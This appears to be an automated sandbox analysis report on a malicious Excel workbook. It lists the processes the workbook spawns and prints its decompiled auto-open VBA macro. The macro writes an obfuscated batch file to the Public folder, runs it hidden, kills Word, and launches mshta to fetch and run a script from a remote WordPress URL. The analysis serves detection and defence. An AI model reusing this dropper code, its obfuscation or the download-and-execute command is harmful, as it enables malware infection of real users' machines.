                                                              2022-08-16 08:33:05 UTC68INData Raw: 63 3d 77 69 6e 64 6f 77 3b 76 61 72 20 65 3d 5f 2e 46 62 28 61 2b 22 5c 72 5c 6e 2f 2f 23 20 73 6f 75 72 63 65 55 52 4c 3d 22 2b 62 29 2c 66 3d 5f 2e 45 62 28 65 29 3b 63 2e 65 76 61 6c 28 66 29 3d 3d 3d 66 26 26 63 2e 65 76 61 6c 28 66 2e 74 6f 53 74 72 69 6e 67 28 29 29 7d 63 61 74 63 68 28 67 29 7b 72 65 74 75 72 6e 21 31 7d 65 6c 73 65 20 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 46 67 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 5f 2e 46 66 28 61 2e 6d 61 74 63 68 28 5f 2e 45 66 29 5b 35 5d 7c 7c 6e 75 6c 6c 29 7c 7c 22 22 3b 62 3d 5f 2e 46 66 28 54 66 28 62 29 2e 6d 61 74 63 68 28 5f 2e 45 66 29 5b 35 5d 7c 7c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 62 26 26 62 2e 6d 61 74 63 68 28 22 28 2f 5f 2f 6a 73
                                                              Data Ascii: c=window;var e=_.Fb(a+"\r\n//# sourceURL="+b),f=_.Eb(e);c.eval(f)===f&&c.eval(f.toString())}catch(g){return!1}else return!1;return!0},Fg=function(a){var b=_.Ff(a.match(_.Ef)[5]||null)||"";b=_.Ff(Tf(b).match(_.Ef)[5]||null);return null!==b&&b.match("(/_/js
                                                              2022-08-16 08:33:05 UTC70INData Raw: 3b 63 26 26 28 65 2e 6c 3d 63 29 3b 64 26 26 0a 28 65 2e 6a 3d 64 29 3b 65 2e 43 3d 62 3b 62 3d 6b 61 28 29 3b 62 2e 42 3d 65 3b 62 2e 55 68 28 21 30 29 3b 62 3d 6b 61 28 29 3b 62 2e 69 67 28 61 29 3b 61 2e 6a 28 62 29 7d 7d 29 3b 0a 0a 5f 2e 5f 4d 6f 64 75 6c 65 4d 61 6e 61 67 65 72 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 21 5f 2e 68 61 29 7b 69 66 28 21 5f 2e 69 61 29 72 65 74 75 72 6e 3b 5f 2e 6a 61 28 29 7d 5f 2e 68 61 2e 68 67 28 61 2c 62 29 7d 3b 0a 0a 5f 2e 5f 4d 6f 64 75 6c 65 4d 61 6e 61 67 65 72 5f 69 6e 69 74 69 61 6c 69 7a 65 28 27 62 2f 73 79 30 2f 65 6c 5f 63 6f 6e 66 3a 31 2f 73 79 32 2f 73 79 31 3a 33 2f 73 79 34 2f 73 79 33 3a 31 2c 34 2c 35 2f 65 6c 5f 6d 61 69 6e 3a 36 2f 65 6c 5f 73 65 63
                                                              Data Ascii: ;c&&(e.l=c);d&&(e.j=d);e.C=b;b=ka();b.B=e;b.Uh(!0);b=ka();b.ig(a);a.j(b)}});_._ModuleManager_initialize=function(a,b){if(!_.ha){if(!_.ia)return;_.ja()}_.ha.hg(a,b)};_._ModuleManager_initialize('b/sy0/el_conf:1/sy2/sy1:3/sy4/sy3:1,4,5/el_main:6/el_sec
                                                              2022-08-16 08:33:05 UTC71INData Raw: 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 61 5b 63 5d 29 3f 62 3d 62 5b 61 5b 63 5d 5d 3a 62 3d 62 5b 61 5b 63 5d 5d 3d 7b 7d 3a 62 3d 62 5b 61 5b 63 5d 5d 7c 7c 28 62 5b 61 5b 63 5d 5d 3d 7b 7d 29 3b 72 65 74 75 72 6e 20 62 7d 3b 4a 3d 7b 7d 3b 4d 53 47 5f 54 52 41 4e 53 4c 41 54 45 3d 22 54 72 61 6e 73 6c 61 74 65 22 3b 4a 5b 30 5d 3d 4d 53 47 5f 54 52 41 4e 53 4c 41 54 45 3b 4d 53 47 5f 43 41 4e 43 45 4c 3d 22 43 61 6e 63 65 6c 22 3b 4a 5b 31 5d 3d 4d 53 47 5f 43 41 4e 43 45 4c 3b 0a 4d 53 47 5f 43 4c 4f 53 45 3d 22 43 6c 6f 73 65 22 3b 4a 5b 32 5d 3d 4d 53 47 5f 43 4c 4f 53 45 3b 4d 53 47 46 55 4e 43 5f 50 41 47 45 5f 54 52 41 4e 53 4c 41 54 45 44 5f 54 4f 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 22 47 6f 6f 67 6c 65 20 68 61 73 20 74 72
                                                              Data Ascii: sOwnProperty(a[c])?b=b[a[c]]:b=b[a[c]]={}:b=b[a[c]]||(b[a[c]]={});return b};J={};MSG_TRANSLATE="Translate";J[0]=MSG_TRANSLATE;MSG_CANCEL="Cancel";J[1]=MSG_CANCEL;MSG_CLOSE="Close";J[2]=MSG_CLOSE;MSGFUNC_PAGE_TRANSLATED_TO=function(a){return"Google has tr
                                                              2022-08-16 08:33:05 UTC72INData Raw: 20 73 65 6e 74 20 74 6f 20 47 6f 6f 67 6c 65 20 66 6f 72 20 74 72 61 6e 73 6c 61 74 69 6f 6e 2c 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 65 20 63 6f 6e 6e 65 63 74 69 6f 6e 2e 22 3b 4a 5b 31 34 5d 3d 4d 53 47 5f 53 53 4c 5f 49 4e 46 4f 5f 53 45 43 55 52 45 5f 50 41 47 45 3b 4d 53 47 5f 53 53 4c 5f 49 4e 46 4f 5f 49 4e 54 52 41 4e 45 54 5f 50 41 47 45 3d 22 54 68 65 20 63 6f 6e 74 65 6e 74 20 6f 66 20 74 68 69 73 20 69 6e 74 72 61 6e 65 74 20 70 61 67 65 20 77 69 6c 6c 20 62 65 20 73 65 6e 74 20 74 6f 20 47 6f 6f 67 6c 65 20 66 6f 72 20 74 72 61 6e 73 6c 61 74 69 6f 6e 2c 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 65 20 63 6f 6e 6e 65 63 74 69 6f 6e 2e 22 3b 4a 5b 31 35 5d 3d 4d 53 47 5f 53 53 4c 5f 49 4e 46 4f 5f 49 4e 54 52 41 4e 45 54 5f 50 41 47 45 3b
                                                              Data Ascii: sent to Google for translation, using a secure connection.";J[14]=MSG_SSL_INFO_SECURE_PAGE;MSG_SSL_INFO_INTRANET_PAGE="The content of this intranet page will be sent to Google for translation, using a secure connection.";J[15]=MSG_SSL_INFO_INTRANET_PAGE;
                                                              2022-08-16 08:33:05 UTC73INData Raw: 4d 53 47 5f 4f 50 54 49 4f 4e 53 3d 22 4f 70 74 69 6f 6e 73 22 3b 4a 5b 32 39 5d 3d 4d 53 47 5f 4f 50 54 49 4f 4e 53 3b 4d 53 47 5f 54 55 52 4e 5f 4f 46 46 5f 54 52 41 4e 53 4c 41 54 49 4f 4e 5f 46 4f 52 5f 54 48 49 53 5f 53 49 54 45 3d 22 54 75 72 6e 20 6f 66 66 20 74 72 61 6e 73 6c 61 74 69 6f 6e 20 66 6f 72 20 74 68 69 73 20 73 69 74 65 22 3b 4a 5b 33 30 5d 3d 4d 53 47 5f 54 55 52 4e 5f 4f 46 46 5f 54 52 41 4e 53 4c 41 54 49 4f 4e 5f 46 4f 52 5f 54 48 49 53 5f 53 49 54 45 3b 0a 4a 5b 33 31 5d 3d 6e 75 6c 6c 3b 4d 53 47 5f 41 4c 54 5f 53 55 47 47 45 53 54 49 4f 4e 3d 22 53 68 6f 77 20 61 6c 74 65 72 6e 61 74 69 76 65 20 74 72 61 6e 73 6c 61 74 69 6f 6e 73 22 3b 4a 5b 33 32 5d 3d 4d 53 47 5f 41 4c 54 5f 53 55 47 47 45 53 54 49 4f 4e 3b 4d 53 47 5f 41 4c
                                                              Data Ascii: MSG_OPTIONS="Options";J[29]=MSG_OPTIONS;MSG_TURN_OFF_TRANSLATION_FOR_THIS_SITE="Turn off translation for this site";J[30]=MSG_TURN_OFF_TRANSLATION_FOR_THIS_SITE;J[31]=null;MSG_ALT_SUGGESTION="Show alternative translations";J[32]=MSG_ALT_SUGGESTION;MSG_AL
                                                              2022-08-16 08:33:05 UTC75INData Raw: 20 6f 66 20 74 68 65 20 77 65 62 20 70 61 67 65 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 2e 22 3b 4a 5b 34 35 5d 3d 4d 53 47 5f 4c 41 4e 47 55 41 47 45 5f 55 4e 53 55 50 50 4f 52 54 45 44 3b 4d 53 47 5f 4c 41 4e 47 55 41 47 45 5f 54 52 41 4e 53 4c 41 54 45 5f 57 49 44 47 45 54 3d 22 4c 61 6e 67 75 61 67 65 20 54 72 61 6e 73 6c 61 74 65 20 57 69 64 67 65 74 22 3b 4a 5b 34 36 5d 3d 4d 53 47 5f 4c 41 4e 47 55 41 47 45 5f 54 52 41 4e 53 4c 41 54 45 5f 57 49 44 47 45 54 3b 0a 5f 2e 75 62 28 22 5f 65 78 70 6f 72 74 56 65 72 73 69 6f 6e 22 2c 5f 2e 5f 65 78 70 6f 72 74 56 65 72 73 69 6f 6e 29 3b 5f 2e 75 62 28 22 5f 67 65 74 43 61 6c 6c 62 61 63 6b 46 75 6e 63 74 69 6f 6e 22 2c 5f 2e 5f 67 65 74 43 61 6c 6c 62 61 63 6b 46 75 6e 63 74 69 6f 6e 29 3b 5f
                                                              Data Ascii: of the web page is not supported.";J[45]=MSG_LANGUAGE_UNSUPPORTED;MSG_LANGUAGE_TRANSLATE_WIDGET="Language Translate Widget";J[46]=MSG_LANGUAGE_TRANSLATE_WIDGET;_.ub("_exportVersion",_._exportVersion);_.ub("_getCallbackFunction",_._getCallbackFunction);_
                                                              2022-08-16 08:33:05 UTC76INData Raw: 73 27 2b 27 3a 2f 2f 27 3b 20 63 2e 5f 70 61 68 3d 68 3b 20 63 2e 5f 70 61 73 3d 73 3b 20 63 6f 6e 73 74 20 62 3d 73 2b 27 74 72 61 6e 73 6c 61 74 65 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 27 3b 20 63 6f 6e 73 74 20 73 74 61 74 69 63 50 61 74 68 20 3d 20 27 2f 74 72 61 6e 73 6c 61 74 65 5f 73 74 61 74 69 63 2f 27 3b 20 63 2e 5f 70 63 69 3d 62 2b 73 74 61 74 69 63 50 61 74 68 2b 27 69 6d 67 2f 74 65 5f 63 74 72 6c 33 2e 67 69 66 27 3b 20 63 2e 5f 70 6d 69 3d 62 2b 73 74 61 74 69 63 50 61 74 68 2b 27 69 6d 67 2f 6d 69 6e 69 5f 67 6f 6f 67 6c 65 2e 70 6e 67 27 3b 20 63 2e 5f 70 62 69 3d 62 2b 73 74 61 74 69 63 50 61 74 68 2b 27 69 6d 67 2f 74 65 5f 62 6b 2e 67 69 66 27 3b 20 63 2e 5f 70 6c 69 3d 62 2b 73 74 61 74 69 63 50 61 74 68 2b 27 69 6d 67 2f 6c
                                                              Data Ascii: s'+'://'; c._pah=h; c._pas=s; const b=s+'translate.googleapis.com'; const staticPath = '/translate_static/'; c._pci=b+staticPath+'img/te_ctrl3.gif'; c._pmi=b+staticPath+'img/mini_google.png'; c._pbi=b+staticPath+'img/te_bk.gif'; c._pli=b+staticPath+'img/l
                                                              2022-08-16 08:33:05 UTC77INData Raw: 30 0d 0a 0d 0a
                                                              Data Ascii: 0


                                                              Statistics

                                                              CPU Usage

                                                              Click to jump to process

                                                              Memory Usage

                                                              Click to jump to process

                                                              High Level Behavior Distribution

                                                              Click to dive into process behavior distribution

                                                              Behavior

                                                              Click to jump to process

                                                              System Behavior

                                                              General

                                                              Target ID:0
                                                              Start time:10:33:11
                                                              Start date:16/08/2022
                                                              Path:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                              Wow64 process (32bit):false
                                                              Commandline:"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
                                                              Imagebase:0x13f410000
                                                              File size:28253536 bytes
                                                              MD5 hash:D53B85E21886D2AF9815C377537BCAC3
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high

                                                              General

                                                              Target ID:2
                                                              Start time:10:33:13
                                                              Start date:16/08/2022
                                                              Path:C:\Windows\System32\cmd.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit
                                                              Imagebase:0x4a310000
                                                              File size:345088 bytes
                                                              MD5 hash:5746BD7E255DD6A8AFA06F7C42C1BA41
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high

                                                              General

                                                              Target ID:4
                                                              Start time:10:33:14
                                                              Start date:16/08/2022
                                                              Path:C:\Windows\System32\PING.EXE
                                                              Wow64 process (32bit):false
                                                              Commandline:ping -n 8 127.0.0.1
                                                              Imagebase:0xff5b0000
                                                              File size:16896 bytes
                                                              MD5 hash:5FB30FE90736C7FC77DE637021B1CE7C
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:moderate

                                                              General

                                                              Target ID:5
                                                              Start time:10:33:22
                                                              Start date:16/08/2022
                                                              Path:C:\Windows\System32\cmd.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:cmd /c start /min taskkill /f /im WINWORD.EXE
                                                              Imagebase:0x4a310000
                                                              File size:345088 bytes
                                                              MD5 hash:5746BD7E255DD6A8AFA06F7C42C1BA41
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high

                                                              General

                                                              Target ID:6
                                                              Start time:10:33:22
                                                              Start date:16/08/2022
                                                              Path:C:\Windows\System32\taskkill.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:taskkill /f /im WINWORD.EXE
                                                              Imagebase:0xff3c0000
                                                              File size:112640 bytes
                                                              MD5 hash:3722FA501DCB50AE42818F9034906891
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:moderate

                                                              General

                                                              Target ID:8
                                                              Start time:10:33:22
                                                              Start date:16/08/2022
                                                              Path:C:\Windows\System32\mshta.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:mshta http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Imagebase:0x13f6c0000
                                                              File size:13824 bytes
                                                              MD5 hash:95828D670CFD3B16EE188168E083C3C5
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high

                                                              Disassembly

                                                              Code Analysis

                                                              Call Graph

                                                              • Entrypoint
                                                              • Decryption Function
                                                              • Executed
                                                              • Not Executed
                                                              • Show Help
                                                              callgraph 9 Workbook_Open Environ:1

                                                              Module: EstaPastaDeTrabalho

                                                              Declaration
                                                              LineContent
                                                              1

                                                              Attribute VB_Name = "EstaPastaDeTrabalho"

                                                              2

                                                              Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"

                                                              3

                                                              Attribute VB_GlobalNameSpace = False

                                                              4

                                                              Attribute VB_Creatable = False

                                                              5

                                                              Attribute VB_PredeclaredId = True

                                                              6

                                                              Attribute VB_Exposed = True

                                                              7

                                                              Attribute VB_TemplateDerived = False

                                                              8

                                                              Attribute VB_Customizable = True

                                                              Executed Functions

                                                              Subroutine

                                                              Workbook_OpenAPIs: 4, Strings: 12, Number of lines: 23, Relevance: 38.023

                                                              APIsMeta Information

                                                              Environ

                                                              		Environ("Public") -> C:\Users\Public

                                                              Open

                                                              		Open("C:\Users\Public\Outlook.bat")

                                                              Shell$

                                                              vbLf

                                                              StringsDecrypted Strings
                                                              "Public"
                                                              "call getCmdPid.bat"
                                                              "set PID=%errorlevel%"
                                                              "call windowMode.bat -pid %PID% -mode hidden"
                                                              "cd C:\Users\Public"
                                                              "@echo off"
                                                              "Set ao8=TSkEhx6qZpCHJMOGRvfbn4wQaPBANVXWz8jcIKrtlYymiod3L2sU7eF105gu9D"
                                                              "cls"
                                                              "%ao8:~35,1%%ao8:~43,1%%ao8:~46,1% /%ao8:~35,1% %ao8:~50,1%%ao8:~39,1%%ao8:~24,1%%ao8:~38,1%%ao8:~39,1% /%ao8:~43,1%%ao8:~44,1%%ao8:~20,1% %ao8:~39,1%%ao8:~24,1%%ao8:~50,1%%ao8:~2,1%%ao8:~2,1%%ao8:~44,1%%ao8:~40,1%%ao8:~40,1% /%ao8:~18,1% /%ao8:~44,1%%ao8:~43,1% %ao8:~31,1%%ao8:~36,1%%ao8:~28,1%%ao8:~31,1%%ao8:~14,1%%ao8:~16,1%%ao8:~61,1%.%ao8:~3,1%%ao8:~30,1%%ao8:~3,1% & %ao8:~43,1%%ao8:~50,1%%ao8:~4,1%%ao8:~39,1%%ao8:~24,1% %ao8:~4,1%%ao8:~39,1%%ao8:~39,1%%ao8:~9,1%://%ao8:~18,1%%ao8:~24,1%%ao8:~35,1%%ao8:~53,1%%ao8:~5,1%%ao8:~39,1%%ao8:~38,1%%ao8:~24,1%%ao8:~46,1%%ao8:~53,1%.%ao8:~35,1%%ao8:~45,1%%ao8:~43,1%.%ao8:~19,1%%ao8:~38,1%/%ao8:~22,1%%ao8:~9,1%-%ao8:~44,1%%ao8:~20,1%%ao8:~35,1%%ao8:~40,1%%ao8:~59,1%%ao8:~46,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~35,1%%ao8:~53,1%%ao8:~38,1%%ao8:~39,1%%ao8:~44,1%%ao8:~18,1%%ao8:~44,1%%ao8:~35,1%%ao8:~24,1%%ao8:~39,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~21,1%.%ao8:~39,1%%ao8:~5,1%%ao8:~39,1%"
                                                              " </ul>"
                                                              " </ul>"
                                                              "cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit"
                                                              LineInstructionMeta Information
                                                              9

                                                              Private Sub Workbook_Open()

                                                              10

                                                              Dim iStage as Integer

                                                              executed
                                                              11

                                                              Dim iCounter as Integer

                                                              12

                                                              Dim iPage as Integer

                                                              13

                                                              Dim sFile as String

                                                              14

                                                              sFile = Environ("Public") & "\Outlook.bat"

                                                              Environ("Public") -> C:\Users\Public

                                                              executed
                                                              16

                                                              Close

                                                              17

                                                              Open sFile For Output As # 1

                                                              Open("C:\Users\Public\Outlook.bat")

                                                              executed
                                                              18

                                                              Print # 1, "call getCmdPid.bat"

                                                              19

                                                              Print # 1, "set PID=%errorlevel%"

                                                              20

                                                              Print # 1, "call windowMode.bat -pid %PID% -mode hidden"

                                                              21

                                                              Print # 1, "cd C:\Users\Public"

                                                              22

                                                              Print # 1, "@echo off"

                                                              23

                                                              Print # 1, "Set ao8=TSkEhx6qZpCHJMOGRvfbn4wQaPBANVXWz8jcIKrtlYymiod3L2sU7eF105gu9D"

                                                              24

                                                              Print # 1, "cls"

                                                              25

                                                              Print # 1, "%ao8:~35,1%%ao8:~43,1%%ao8:~46,1% /%ao8:~35,1% %ao8:~50,1%%ao8:~39,1%%ao8:~24,1%%ao8:~38,1%%ao8:~39,1% /%ao8:~43,1%%ao8:~44,1%%ao8:~20,1% %ao8:~39,1%%ao8:~24,1%%ao8:~50,1%%ao8:~2,1%%ao8:~2,1%%ao8:~44,1%%ao8:~40,1%%ao8:~40,1% /%ao8:~18,1% /%ao8:~44,1%%ao8:~43,1% %ao8:~31,1%%ao8:~36,1%%ao8:~28,1%%ao8:~31,1%%ao8:~14,1%%ao8:~16,1%%ao8:~61,1%.%ao8:~3,1%%ao8:~30,1%%ao8:~3,1% & %ao8:~43,1%%ao8:~50,1%%ao8:~4,1%%ao8:~39,1%%ao8:~24,1% %ao8:~4,1%%ao8:~39,1%%ao8:~39,1%%ao8:~9,1%://%ao8:~18,1%%ao8:~24,1%%ao8:~35,1%%ao8:~53,1%%ao8:~5,1%%ao8:~39,1%%ao8:~38,1%%ao8:~24,1%%ao8:~46,1%%ao8:~53,1%.%ao8:~35,1%%ao8:~45,1%%ao8:~43,1%.%ao8:~19,1%%ao8:~38,1%/%ao8:~22,1%%ao8:~9,1%-%ao8:~44,1%%ao8:~20,1%%ao8:~35,1%%ao8:~40,1%%ao8:~59,1%%ao8:~46,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~35,1%%ao8:~53,1%%ao8:~38,1%%ao8:~39,1%%ao8:~44,1%%ao8:~18,1%%ao8:~44,1%%ao8:~35,1%%ao8:~24,1%%ao8:~39,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~21,1%.%ao8:~39,1%%ao8:~5,1%%ao8:~39,1%"

                                                              30

                                                              For iCounter = 2 To iStage

                                                              31

                                                              Print # 1, " </ul>"

                                                              32

                                                              iStage = iStage - 1

                                                              33

                                                              Next iCounter

                                                              33

                                                              Shell$ "cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit" & vbLf, 0

                                                              Shell$

                                                              vbLf

                                                              40

                                                              Close

                                                              43

                                                              End Sub

                                                              Module: Planilha1

                                                              Declaration
                                                              LineContent
                                                              1

                                                              Attribute VB_Name = "Planilha1"

                                                              2

                                                              Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"

                                                              3

                                                              Attribute VB_GlobalNameSpace = False

                                                              4

                                                              Attribute VB_Creatable = False

                                                              5

                                                              Attribute VB_PredeclaredId = True

                                                              6

                                                              Attribute VB_Exposed = True

                                                              7

                                                              Attribute VB_TemplateDerived = False

                                                              8

                                                              Attribute VB_Customizable = True

                                                              Reset < >

                                                                Executed Functions

                                                                Function 02E50FA9 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000003.964035113.0000000002E50000.00000010.00000800.00020000.00000000.sdmp, Offset: 02E50000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_3_2e50000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                • Instruction ID: adbc4afedcd8f1f58deb2130f2886a2922a8ff9331507c50fbbdf772ec46b032
                                                                • Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 02E50F89 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000003.964035113.0000000002E50000.00000010.00000800.00020000.00000000.sdmp, Offset: 02E50000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_3_2e50000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                • Instruction ID: adbc4afedcd8f1f58deb2130f2886a2922a8ff9331507c50fbbdf772ec46b032
                                                                • Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 02E50F99 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000003.964035113.0000000002E50000.00000010.00000800.00020000.00000000.sdmp, Offset: 02E50000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_3_2e50000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                • Instruction ID: adbc4afedcd8f1f58deb2130f2886a2922a8ff9331507c50fbbdf772ec46b032
                                                                • Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 08AE0FA9 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000003.1057601820.0000000008AE0000.00000010.00000800.00020000.00000000.sdmp, Offset: 08AE0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_3_8ae0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                • Instruction ID: 692368d78467ed53edc788673da4d7a5f5c9b7b7798d36dd28327fa379973cf6
                                                                • Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 08AE0F89 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000003.1057601820.0000000008AE0000.00000010.00000800.00020000.00000000.sdmp, Offset: 08AE0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_3_8ae0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                • Instruction ID: 692368d78467ed53edc788673da4d7a5f5c9b7b7798d36dd28327fa379973cf6
                                                                • Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 08AE0F99 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000003.1057601820.0000000008AE0000.00000010.00000800.00020000.00000000.sdmp, Offset: 08AE0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_3_8ae0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                • Instruction ID: 692368d78467ed53edc788673da4d7a5f5c9b7b7798d36dd28327fa379973cf6
                                                                • Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 033E0FB9 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000003.1078413951.00000000033E0000.00000010.00000800.00020000.00000000.sdmp, Offset: 033E0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_3_33e0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
                                                                • Instruction ID: bd3e0954057ef90dbe3e3d956802a09abb71f2c307f410a11ac75e9d9f576638
                                                                • Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 033E0F89 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000003.1078413951.00000000033E0000.00000010.00000800.00020000.00000000.sdmp, Offset: 033E0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_3_33e0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
                                                                • Instruction ID: bd3e0954057ef90dbe3e3d956802a09abb71f2c307f410a11ac75e9d9f576638
                                                                • Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 083B0FA9 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000003.974587556.00000000083B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 083B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_3_83b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                • Instruction ID: 043348ff327122d5eaba7a7807e6ea448751f40af63d224f1b713ca7b7fca592
                                                                • Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 083B0F99 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000003.974587556.00000000083B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 083B0000, based on PE: false
